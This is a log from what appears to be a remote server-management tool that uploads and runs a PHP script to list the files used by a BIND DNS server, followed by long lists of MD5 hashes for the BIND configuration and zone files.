MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 12:33:32: Establishing a connection
2026-04-24 12:33:32: 

PUT: /tmp/pkp747101

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 12:33:32: 

runuser -l bind -s /bin/bash -c '/tmp/pkp747101; rm /tmp/pkp747101'

2026-04-24 12:33:33: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 12:33:34: Establishing a connection
2026-04-24 12:33:34: 

PUT: /tmp/pkp387925

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 12:33:34: 

runuser -l bind -s /bin/bash -c '/tmp/pkp387925; rm /tmp/pkp387925'

2026-04-24 12:33:34: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
